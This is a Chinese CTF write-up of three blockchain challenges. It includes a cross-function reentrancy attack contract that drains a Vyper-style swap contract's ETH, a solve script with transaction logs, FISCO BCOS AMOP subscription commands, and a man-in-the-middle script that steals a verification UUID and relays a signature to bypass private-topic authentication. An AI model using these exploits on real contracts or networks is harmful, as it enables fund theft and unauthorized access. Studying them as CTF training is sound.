Viper
题目描述
解题思路
这题非常明显地暗示了Viper(Vyper)这一关键词，不难联想到前段时间的Curve的重入攻击事件（事件分析 By ZAN/事件分析 By 零时科技），大致情况是智能合约编程语言Vyper的0.2.15、0.2.16、0.3.0版本编译器存在重入锁故障（即在一笔交易中，两个不同函数的重入锁，并不共享一个锁变量，导致合约可以被跨函数重入攻击）。
将题目合约代码Viper.vy转换为等价的Solidity代码，并删去nonreentrant修饰器函数以便阅读（删去仅是为了方便理解，实际上单函数自身的重入锁是有效的），得到Viper.sol如下：
重入这一攻击类型也是经常接触到的，我在这里就直接给出函数调用路径而不作详细解释了：
- 我们的目标是清空题目合约中的ETH余额，初始状态下余额为3 ETH
构造
receive函数，在触发重入效果时执行depositcoins[1]操作：receive() external payable { if (msg.value == 1) { uint256 amount = token.balanceOf(address(this)); target.deposit(1, amount); } }调用
preSwap函数，使用msg.value=1 ether(ETH is coins[0])兑换得到coins[1]的balances，同时提前approve以便后续transferFrom成功：function preSwap() external payable { target.swap{value: msg.value}(0, 1, msg.value); token.approve(address(target), type(uint256).max); }调用
hack函数，循环执行4次，每次withdraw所拥有的全部coins[1]，并且将其swap为ETH(coins[0])，同时附带msg.value=1 wei以便重入到receive函数时进行识别，在执行4次循环后我们就有足够的balances[0]来withdraw题目合约上所有的4 ETH(3+1=4)：function hack() external payable { uint256 amount = target.balances(1, address(this)); for (uint i = 0; i < 4; i++) { target.withdraw(1, amount); target.swap{value: msg.value}(1, 0, 0); } target.withdraw(0, address(target).balance); }- 这样我们便能够在不消耗
coins[1]的balances的同时（在重入过程中withdraw又deposit，值没有改变），增加了_after和_before的差值（在_before值记录之前就已经withdraw出来了coins[1]，而_after的增量来自于deposit，这个过程中执行了swap之外的transferFrom）从而增加我们的balances[0]，跨函数重入利用成功。
以下是攻击合约Farmer.sol和解题脚本solve.py的代码：
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Viper.sol";
contract Farmer {
ERC20 token = ERC20(address(0x50155B59Bd8BB2740A62E8E8900dac78E94eA22D));
Viper target =
Viper(payable(address(0x0A6FA9c756a4a14EC615F3279cA8549fd3650B5B)));
function preSwap() external payable {
target.swap{value: msg.value}(0, 1, msg.value);
token.approve(address(target), type(uint256).max);
}
function hack() external payable {
uint256 amount = target.balances(1, address(this));
for (uint i = 0; i < 4; i++) {
target.withdraw(1, amount);
target.swap{value: msg.value}(1, 0, 0);
}
target.withdraw(0, address(target).balance);
}
function getBalance0() external view returns (uint256) {
return target.balances(0, address(this));
}
function getBalance1() external view returns (uint256) {
return target.balances(1, address(this));
}
function isSolved() external view returns (bool) {
return target.isSolved();
}
receive() external payable {
if (msg.value == 1) {
uint256 amount = token.balanceOf(address(this));
target.deposit(1, amount);
}
}
}
from Poseidon.Blockchain import *
chain = Chain("http://120.46.58.72:8545")
account = Account(chain, "<PrivateKey>")
abi, bytecode = BlockchainUtils.Compile("Farmer.sol", "Farmer")
contract: Contract = account.DeployContract(abi, bytecode)["Contract"]
contract.ReadOnlyCallFunction("getBalance0")
contract.ReadOnlyCallFunction("getBalance1")
contract.CallFunctionWithParameters(Web3.to_wei(1, 'ether'), None, 1000000, "preSwap")
contract.ReadOnlyCallFunction("getBalance0")
contract.ReadOnlyCallFunction("getBalance1")
contract.CallFunctionWithParameters(1, None, 1000000, "hack")
contract.ReadOnlyCallFunction("isSolved")
2023-10-30 19:04:41.712 | SUCCESS | Poseidon.Blockchain:<module>:17 -
[Poseidon]Current Poseidon Version [1.1.5]
--------------------------------------------------------------------------------
2023-10-30 19:04:41.820 | SUCCESS | Poseidon.Blockchain:__init__:49 -
[Chain][Initialize]Connected to [http://120.46.58.72:8545] [105 ms]
--------------------------------------------------------------------------------
2023-10-30 19:04:42.234 | SUCCESS | Poseidon.Blockchain:GetBasicInformation:74 -
[Chain][GetBasicInformation]
[ChainId]21789
[BlockNumber]34267
[GasPrice]1.000000007 Gwei
[ClientVersion]Geth/v1.13.4-stable-3f907d6a/linux-amd64/go1.21.3
--------------------------------------------------------------------------------
2023-10-30 19:04:42.247 | SUCCESS | Poseidon.Blockchain:__init__:384 -
[Account][Initialize]Successfully import account [0xec2b758b8a4A8a5A4Bba2c0353B4655f3c6E6Ba8]
--------------------------------------------------------------------------------
2023-10-30 19:04:42.251 | WARNING | Poseidon.Blockchain:RequestAuthorizationBeforeSendTransaction:404 -
[Account][RequestAuthorizationBeforeSendTransaction]Open: False
--------------------------------------------------------------------------------
2023-10-30 19:04:42.393 | SUCCESS | Poseidon.Blockchain:GetBalance:250 -
[Chain][GetBalance]
[Address]0xec2b758b8a4A8a5A4Bba2c0353B4655f3c6E6Ba8
[Balance][1987067653909473569 Wei]<=>[1.987067653909473569 Ether]
--------------------------------------------------------------------------------
2023-10-30 19:04:43.489 | SUCCESS | Poseidon.Blockchain:Compile:926 -
[BlockchainUtils][Compile]
[FileCourse]Farmer.sol
[ContractName]Farmer
[ABI][{'inputs': [], 'name': 'getBalance0', 'outputs': [{'internalType': 'uint256', 'name': '', 'type': 'uint256'}], 'stateMutability': 'view', 'type': 'function'}, {'inputs': [], 'name': 'getBalance1', 'outputs': [{'internalType': 'uint256', 'name': '', 'type': 'uint256'}], 'stateMutability': 'view', 'type': 'function'}, {'inputs': [], 'name': 'hack', 'outputs': [], 'stateMutability': 'payable', 'type': 'function'}, {'inputs': [], 'name': 'isSolved', 'outputs': [{'internalType': 'bool', 'name': '', 'type': 'bool'}], 'stateMutability': 'view', 'type': 'function'}, {'inputs': [], 'name': 'preSwap', 'outputs': [], 'stateMutability': 'payable', 'type': 'function'}, {'stateMutability': 'payable', 'type': 'receive'}]
[Bytecode]60806040527350155b59bd8bb2740a62e8e8900dac78e94ea22d6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550730a6fa9c756a4a14ec615f3279ca8549fd3650b5b600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156100b957600080fd5b50610c59806100c96000396000f3fe60806040526004361061004e5760003560e01c806341aec538146101935780634de260a2146101be578063629d9405146101c857806364d98f6e146101f3578063f5412a301461021e5761018e565b3661018e576001340361018c5760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016100b79190610877565b602060405180830381865afa1580156100d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100f891906108cd565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bb6808d16001836040518363ffffffff1660e01b815260040161015892919061095b565b600060405180830381600087803b15801561017257600080fd5b505af1158015610186573d6000803e3d6000fd5b50505050505b005b600080fd5b34801561019f57600080fd5b506101a8610228565b6040516101b59190610984565b60405180910390f35b6101c66102ce565b005b3480156101d457600080fd5b506101dd610581565b6040516101ea9190610984565b60405180910390f35b3480156101ff57600080fd5b50610208610627565b60405161021591906109ba565b60405180910390f35b6102266106bf565b005b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631cb31a576001306040518363ffffffff1660e01b81526004016102889291906109d5565b602060405180830381865afa1580156102a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102c991906108cd565b905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631cb31a576001306040518363ffffffff1660e01b815260040161032e9291906109d5565b602060405180830381865afa15801561034b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061036f91906108cd565b905060005b60048110156104b457600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663788f77f96001846040518363ffffffff1660e01b81526004016103db92919061095b565b600060405180830381600087803b1580156103f557600080fd5b505af1158015610409573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b1ed254c3460016000806040518563ffffffff1660e01b815260040161046f93929190610a6a565b6000604051808303818588803b15801561048857600080fd5b505af115801561049c573d6000803e3d6000fd5b505050505080806104ac90610ad0565b915050610374565b50600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663788f77f96000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16316040518363ffffffff1660e01b815260040161054c929190610b18565b600060405180830381600087803b15801561056657600080fd5b505af115801561057a573d6000803e3d6000fd5b5050505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631cb31a576000306040518363ffffffff1660e01b81526004016105e1929190610b41565b602060405180830381865afa1580156105fe573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062291906108cd565b905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166364d98f6e6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610696573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ba9190610b96565b905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b1ed254c3460006001346040518563ffffffff1660e01b815260040161072193929190610bc3565b6000604051808303818588803b15801561073a57600080fd5b505af115801561074e573d6000803e3d6000fd5b505050505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016107f0929190610bfa565b6020604051808303816000875af115801561080f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108339190610b96565b50565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061086182610836565b9050919050565b61087181610856565b82525050565b600060208201905061088c6000830184610868565b92915050565b600080fd5b6000819050919050565b6108aa81610897565b81146108b557600080fd5b50565b6000815190506108c7816108a1565b92915050565b6000602082840312156108e3576108e2610892565b5b60006108f1848285016108b8565b91505092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--------------------------------------------------------------------------------
2023-10-30 19:04:44.558 | INFO | Poseidon.Blockchain:DeployContract:595 -
[Account][DeployContract]
[Txn]{
"chainId": 21789,
"from": "0xec2b758b8a4A8a5A4Bba2c0353B4655f3c6E6Ba8",
"value": 0,
"gas": 782210,
"gasPrice": "1.000000007 Gwei",
"nonce": 54,
"data": "0x60806040527350155b59bd8bb2740a62e8e8900dac78e94ea22d6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550730a6fa9c756a4a14ec615f3279ca8549fd3650b5b600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156100b957600080fd5b50610c59806100c96000396000f3fe60806040526004361061004e5760003560e01c806341aec538146101935780634de260a2146101be578063629d9405146101c857806364d98f6e146101f3578063f5412a301461021e5761018e565b3661018e576001340361018c5760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016100b79190610877565b602060405180830381865afa1580156100d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100f891906108cd565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bb6808d16001836040518363ffffffff1660e01b815260040161015892919061095b565b600060405180830381600087803b15801561017257600080fd5b505af1158015610186573d6000803e3d6000fd5b50505050505b005b600080fd5b34801561019f57600080fd5b506101a8610228565b6040516101b59190610984565b60405180910390f35b6101c66102ce565b005b3480156101d457600080fd5b506101dd610581565b6040516101ea9190610984565b60405180910390f35b3480156101ff57600080fd5b50610208610627565b60405161021591906109ba565b60405180910390f35b6102266106bf565b005b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631cb31a576001306040518363ffffffff1660e01b81526004016102889291906109d5565b602060405180830381865afa1580156102a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102c991906108cd565b905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631cb31a576001306040518363ffffffff1660e01b815260040161032e9291906109d5565b602060405180830381865afa15801561034b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061036f91906108cd565b905060005b60048110156104b457600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663788f77f96001846040518363ffffffff1660e01b81526004016103db92919061095b565b600060405180830381600087803b1580156103f557600080fd5b505af1158015610409573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b1ed254c3460016000806040518563ffffffff1660e01b815260040161046f93929190610a6a565b6000604051808303818588803b15801561048857600080fd5b505af115801561049c573d6000803e3d6000fd5b505050505080806104ac90610ad0565b915050610374565b50600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663788f77f96000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16316040518363ffffffff1660e01b815260040161054c929190610b18565b600060405180830381600087803b15801561056657600080fd5b505af115801561057a573d6000803e3d6000fd5b5050505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631cb31a576000306040518363ffffffff1660e01b81526004016105e1929190610b41565b602060405180830381865afa1580156105fe573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062291906108cd565b905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166364d98f6e6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610696573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ba9190610b96565b905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b1ed254c3460006001346040518563ffffffff1660e01b815260040161072193929190610bc3565b6000604051808303818588803b15801561073a57600080fd5b505af115801561074e573d6000803e3d6000fd5b505050505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016107f0929190610bfa565b6020604051808303816000875af115801561080f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108339190610b96565b50565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061086182610836565b9050919050565b61087181610856565b82525050565b600060208201905061088c6000830184610868565b92915050565b600080fd5b6000819050919050565b6108aa81610897565b81146108b557600080fd5b50565b6000815190506108c7816108a1565b92915050565b6000602082840312156108e3576108e2610892565b5b60006108f1848285016108b8565b915050929150505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}
--------------------------------------------------------------------------------
2023-10-30 19:04:50.747 | SUCCESS | Poseidon.Blockchain:GetTransactionInformationByHash:109 -
[Chain][GetTransactionInformationByHash]
[TransactionHash]0x70b428625f8700f55387c85419871c830b401244ffe04e9eb7bf136dd0decbf8
[BlockNumber]34269
[TransactionIndex]0
[Status]Success
[Type]Traditional
[Action]Deploy Contract
[From]0xec2b758b8a4A8a5A4Bba2c0353B4655f3c6E6Ba8
[To]None
[ContractAddress]0x4ed4459fB2b661CCCe058f1b86C076D136ffc827
[GasPrice]1.000000007 Gwei
[GasLimit]782210 [GasUsed]782210
[Nonce]54 [Value]0
[R]0x1cfd454b986fe5eb6a29490974d3942b5506c54e940414b45c156a38c3867bc7
[S]0x68323a5510f9c37cc7501f6994255a20835c7a0984899a73ff2e48080dcc3432
[V]43613
[Logs][]
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--------------------------------------------------------------------------------
2023-10-30 19:04:50.767 | SUCCESS | Poseidon.Blockchain:__init__:754 -
[Contract][Initialize]Successfully instantiated contract [0x4ed4459fB2b661CCCe058f1b86C076D136ffc827]
--------------------------------------------------------------------------------
2023-10-30 19:04:50.990 | SUCCESS | Poseidon.Blockchain:ReadOnlyCallFunction:815 -
[Contract][ReadOnlyCallFunction]
[ContractAddress]0x4ed4459fB2b661CCCe058f1b86C076D136ffc827
[Function]getBalance0()
[Result]0
--------------------------------------------------------------------------------
2023-10-30 19:04:51.250 | SUCCESS | Poseidon.Blockchain:ReadOnlyCallFunction:815 -
[Contract][ReadOnlyCallFunction]
[ContractAddress]0x4ed4459fB2b661CCCe058f1b86C076D136ffc827
[Function]getBalance1()
[Result]0
--------------------------------------------------------------------------------
2023-10-30 19:04:51.465 | INFO | Poseidon.Blockchain:CallFunctionWithParameters:795 -
[Contract][CallFunctionWithValueAndGasLimit]
[ContractAddress]0x4ed4459fB2b661CCCe058f1b86C076D136ffc827
[Function]preSwap()
[Value]1000000000000000000
[GasPrice]1000000007
[GasLimit]1000000
--------------------------------------------------------------------------------
2023-10-30 19:04:51.590 | INFO | Poseidon.Blockchain:SendTransaction:496 -
[Account][SendTransaction][Traditional]
[Txn]{
"chainId": 21789,
"from": "0xec2b758b8a4A8a5A4Bba2c0353B4655f3c6E6Ba8",
"to": "0x4ed4459fB2b661CCCe058f1b86C076D136ffc827",
"value": 1000000000000000000,
"gas": 1000000,
"gasPrice": "1.000000007 Gwei",
"nonce": 55,
"data": "0xf5412a30"
}
--------------------------------------------------------------------------------
2023-10-30 19:04:55.811 | SUCCESS | Poseidon.Blockchain:GetTransactionInformationByHash:109 -
[Chain][GetTransactionInformationByHash]
[TransactionHash]0xedafefbe27ec28b190986cf596f736860ef93485ba12e89a324697c12491e73b
[BlockNumber]34270
[TransactionIndex]0
[Status]Success
[Type]Traditional
[Action]Call Contract
[From]0xec2b758b8a4A8a5A4Bba2c0353B4655f3c6E6Ba8
[To]0x4ed4459fB2b661CCCe058f1b86C076D136ffc827
[GasPrice]1.000000007 Gwei
[GasLimit]1000000 [GasUsed]100322
[Nonce]55 [Value]1000000000000000000
[R]0x6a54fe6d04a34d73f80ce84b86580599facacf93233b39116d7986f046cccbd2
[S]0x06678cd612d153b679bb63e5d06e298571c0d3e71526f108a026bcf75d99967d
[V]43613
[Logs][{"address": "0x0A6FA9c756a4a14EC615F3279cA8549fd3650B5B", "topics": ["0xffebebfb273923089a3ed6bac0fd4686ac740307859becadeb82f998e30db614", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee", "0x00000000000000000000000050155b59bd8bb2740a62e8e8900dac78e94ea22d"], "data": "0x0000000000000000000000000000000000000000000000000de0b6b3a7640000", "blockNumber": 34270, "transactionHash": "0xedafefbe27ec28b190986cf596f736860ef93485ba12e89a324697c12491e73b", "transactionIndex": 0, "blockHash": "0xfd440b15d4faf996b9124729124074b4e695ef4225c8fa8dae045d1726b5ef7c", "logIndex": 0, "removed": false}, {"address": "0x50155B59Bd8BB2740A62E8E8900dac78E94eA22D", "topics": ["0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x0000000000000000000000000a6fa9c756a4a14ec615f3279ca8549fd3650b5b"], "data": "0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff", "blockNumber": 34270, "transactionHash": "0xedafefbe27ec28b190986cf596f736860ef93485ba12e89a324697c12491e73b", "transactionIndex": 0, "blockHash": "0xfd440b15d4faf996b9124729124074b4e695ef4225c8fa8dae045d1726b5ef7c", "logIndex": 1, "removed": false}]
[InputData]b'\xf5A*0'
--------------------------------------------------------------------------------
2023-10-30 19:04:56.066 | SUCCESS | Poseidon.Blockchain:ReadOnlyCallFunction:815 -
[Contract][ReadOnlyCallFunction]
[ContractAddress]0x4ed4459fB2b661CCCe058f1b86C076D136ffc827
[Function]getBalance0()
[Result]0
--------------------------------------------------------------------------------
2023-10-30 19:04:56.273 | SUCCESS | Poseidon.Blockchain:ReadOnlyCallFunction:815 -
[Contract][ReadOnlyCallFunction]
[ContractAddress]0x4ed4459fB2b661CCCe058f1b86C076D136ffc827
[Function]getBalance1()
[Result]2000000000004276545
--------------------------------------------------------------------------------
2023-10-30 19:04:56.484 | INFO | Poseidon.Blockchain:CallFunctionWithParameters:795 -
[Contract][CallFunctionWithValueAndGasLimit]
[ContractAddress]0x4ed4459fB2b661CCCe058f1b86C076D136ffc827
[Function]hack()
[Value]1
[GasPrice]1000000007
[GasLimit]1000000
--------------------------------------------------------------------------------
2023-10-30 19:04:56.608 | INFO | Poseidon.Blockchain:SendTransaction:496 -
[Account][SendTransaction][Traditional]
[Txn]{
"chainId": 21789,
"from": "0xec2b758b8a4A8a5A4Bba2c0353B4655f3c6E6Ba8",
"to": "0x4ed4459fB2b661CCCe058f1b86C076D136ffc827",
"value": 1,
"gas": 1000000,
"gasPrice": "1.000000007 Gwei",
"nonce": 56,
"data": "0x4de260a2"
}
--------------------------------------------------------------------------------
2023-10-30 19:05:00.883 | SUCCESS | Poseidon.Blockchain:GetTransactionInformationByHash:109 -
[Chain][GetTransactionInformationByHash]
[TransactionHash]0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664
[BlockNumber]34271
[TransactionIndex]0
[Status]Success
[Type]Traditional
[Action]Call Contract
[From]0xec2b758b8a4A8a5A4Bba2c0353B4655f3c6E6Ba8
[To]0x4ed4459fB2b661CCCe058f1b86C076D136ffc827
[GasPrice]1.000000007 Gwei
[GasLimit]1000000 [GasUsed]522880
[Nonce]56 [Value]1
[R]0xfe2bd39d8a5c2ced2d2a8fd131802783d2626b707c0b236560caa03070bc058e
[S]0x38b603195347e924d153b2f5a35db0035be97b9223012f2c12f29c6fb0727a28
[V]43614
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"removed": false}, {"address": "0x0A6FA9c756a4a14EC615F3279cA8549fd3650B5B", "topics": ["0x9b1bfa7fa9ee420a16e124f794c35ac9f90472acc99140eb2f6447c714cad8eb", "0x0000000000000000000000004ed4459fb2b661ccce058f1b86c076d136ffc827", "0x000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"], "data": "0x0000000000000000000000000000000000000000000000003782dace9d900000", "blockNumber": 34271, "transactionHash": "0x8c545306879809d2d7b787f08b3690ae5c304d625fae2f70f6ecb83b3bcdb664", "transactionIndex": 0, "blockHash": "0xc5a9dfe238b4cf18be2d1e2587e93b7467ec73b44c978a73da9fc6ca0ed62f03", "logIndex": 32, "removed": false}]
[InputData]b'M\xe2`\xa2'
--------------------------------------------------------------------------------
2023-10-30 19:05:01.112 | SUCCESS | Poseidon.Blockchain:ReadOnlyCallFunction:815 -
[Contract][ReadOnlyCallFunction]
[ContractAddress]0x4ed4459fB2b661CCCe058f1b86C076D136ffc827
[Function]isSolved()
[Result]True
--------------------------------------------------------------------------------
得到flag为：
ACTF{8EW@rE_0F_vEnom0us_sNaK3_81T3$_as_1t_HA$_nO_cOnSc1ENCe}AMOP1
题目描述
解题过程
这题基于国产联盟链FISCO BCOS构建，主要的知识点是链上信使协议AMOP (Advanced Messages Onchain Protocol)，题目描述中给了足够多的提示，只需使用现成的工具连接到题目区块链环境并订阅消息即可。
下载并构建交互工具（提前安装好 java 8 或以上版本）：
git clone https://github.com/FISCO-BCOS/java-sdk-demo.git
cd java-sdk-demo
git checkout origin/main-2.0
./gradlew build之后修改dist/conf/amop/config-subscriber-for-test.toml中的network配置项：
然后将题目附件中的ca.crt、sdk.crt、sdk.key、privkey四个文件移动到dist/conf目录下：
最后分别执行下面两条命令，订阅并获取公共频道(flag1)和私有频道(flag2)的消息：
java -cp 'conf/:lib/*:apps/*' org.fisco.bcos.sdk.demo.amop.tool.AmopSubscriber 'flag1'
java -cp 'conf/:lib/*:apps/*' org.fisco.bcos.sdk.demo.amop.tool.AmopSubscriberPrivateByKey subscribe 'flag2' conf/amop/privkey
拼接后得到完整flag为：
ACTF{Con5oR7ium_B1ock_cHAiN_sO_INterESt1NG}AMOP2(非预期 未正确解出)
题目描述
解题思路
这题在第一题的基础上增加了难度，虽然研究了很久，但由于是初识FISCO BCOS，对底层原理等深入的内容并不了解，没有正常解出。但推测大致思路是基于中间人攻击 MITM，自行搭建一个中间节点，与题目节点互相建立P2P连接，同时加入联盟链成为观察者节点 Observer，由于AMOP协议会将消息也同步发送给观察者节点，由于消息本身未进行加密，只是多加了一层身份验证，那么这样我们自己的中间节点便可以捕获到消息发送者 Publisher通过AMOP协议发送到私有频道的消息原文，可以借助它完成或绕过身份验证并读到flag消息。
（以上是比赛时的非预期解结果，我意外解出的原因大概是在我订阅消息的同时出题人恰好运行了他的solve脚本，此时由于证书文件一致或是联盟链身份验证的一些特性，导致我这边也临时通过了身份检验，共享了他的成果，意外地拿到了flag，后续本着实事求是的比赛精神，经过双方联系达成了此次非预期作答不计分的共识。）
以下是出题人赛后提供的solve脚本，本质上是基于文档中私有话题的认证流程部分内容从网络通信层进行中间人攻击，留作参考：
from pwn import *
import abc
import socket
import ssl
from ssl import SSLContext
import json
import requests
context.log_level = 'DEBUG'
# create SSL context
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
context.check_hostname = False
context.load_verify_locations("./conf/ca.crt")
context.load_cert_chain("./conf/sdk.crt", "./conf/sdk.key")
context.set_ecdh_curve("secp256k1")
context.verify_mode = ssl.CERT_REQUIRED
# TARGET_IP = "127.0.0.1"
TARGET_IP = "120.46.58.72"
# TARGET_PORT = 20202 # node2
TARGET_PORT = 41202
# TARGET_RPCPORT = 8547
TARGET_RPCPORT = 48547
PUBLISHER_IP = "127.0.0.1"
PUBLISHER_PORT = 20200 # node1
SUBSCRIBER_IP = "127.0.0.1"
SUBSCRIBER_PORT = 20201
conn = remote(host=TARGET_IP, port=TARGET_PORT, typ="tcp", ssl=True, ssl_context=context, timeout=120)
# let's subscribe a topic here
# which means we need to craft a channel packet
# see class ChannelMessage
def packChannelMsg(type: int, seq: bytes, status: int, payload: bytes):
# 4 bytes length
# 2 bytes type
# 32 bytes seq
# 4 bytes result
# then payload
CHANNEL_HEADER_LENGTH = 42
result = b""
result += p32(CHANNEL_HEADER_LENGTH + len(payload), endian="big")
result += p16(type, endian="big")
result += seq
result += p32(status, endian="big")
result += payload
return result
##
# 1. fake topices
##
# AMOP_CLIENT_SUBSCRIBE_TOPICS = 50
# packet = packChannelMsg(50, b"\x00" * 32, 0, b'["flag"]')
# coool, but careful, this topic will be set VERIFYING_STATUS
# we also set channel here, we can hear the random UUID now
packet = packChannelMsg(50, b"\x00" * 32, 0, b'["#!$TopicNeedVerify_flag","#!$VerifyChannel_#!$TopicNeedVerify_flag"]')
conn.send(packet)
# wait the topic sync
info("Sleep a while")
time.sleep(3)
##
# 2. leak verify
##
# TODO
# can we do this with channel request instead of RPC request
packet = '{"jsonrpc":"2.0","method":"getPeers","params":[1],"id":1}'
rpcRes = requests.post(f"http://{TARGET_IP}:{TARGET_RPCPORT}", data=packet)
rpcRes = rpcRes.text
rpcResDict = json.loads(rpcRes)
hijackTopic = ""
for peer in rpcResDict["result"]:
for topic in peer["Topic"]:
info(f"iterate {topic}")
if topic.startswith("#!$VerifyChannel_#!$TopicNeedVerify_flag"):
hijackTopic = topic
break
if not hijackTopic:
error("Fail to get topic")
exit(1)
info(f"Cool we get the hijack topic: {hijackTopic}")
# let's get the random UUID here
# conn.recvuntil(b"#!$VerifyChannel_#!$TopicNeedVerify_flag", drop=True)
# randomuuid = conn.recv(32)
badTopic = b"#!$VerifyChannel_#!$TopicNeedVerify_flag"
requestPacket_1 = conn.recvuntil(badTopic)
info(f"we receive verify request header {requestPacket_1}")
requestPacket_seq = requestPacket_1[-(len(badTopic) + 4 + 1 + 32):-(len(badTopic) + 4 + 1)]
assert (len(requestPacket_seq) == 32)
info(f"we get the seq {requestPacket_seq.hex()}")
randomuuid = conn.recv(32) # badTopic[randomuuid_idx:]
info(f"Steal the random number: {randomuuid}")
# we need to quickly achieve MITM
# verify_packet = conn.recv()
# info(f"packet with UUID: {verify_packet}")
# let's send a request to see if we can get the answer for this
# and try to fake the reply
# AMOP_REQUEST = 48
conn_hide = remote(host=TARGET_IP, port=TARGET_PORT, ssl=True, ssl_context=context)
target_topic = hijackTopic.encode() # to bytes
target_payload = bytes([len(target_topic) + 1]) + target_topic + randomuuid
packet = packChannelMsg(48, b"\x00" * 32, 0, target_payload)
conn_hide.send(packet)
# what we will receive here ?
reply = conn_hide.recv()
info(f"hide channel receives: {reply}")
# get the signature here
signature_idx = reply.index(target_topic) + len(target_topic)
signature = reply[signature_idx:]
info(f"hacked signature: {signature.hex()}")
# reply
# AMOP_RESPONSE = 0x31
# be careful with the seq blabla
requestPayload = bytes([len(badTopic) + 1]) + badTopic + signature
reply_packet = packChannelMsg(0x31, requestPacket_seq, 0, requestPayload)
conn.send(reply_packet)
conn.interactive()
conn_hide.interactive()
- 分类： WriteUp
- 标签： CTF Blockchain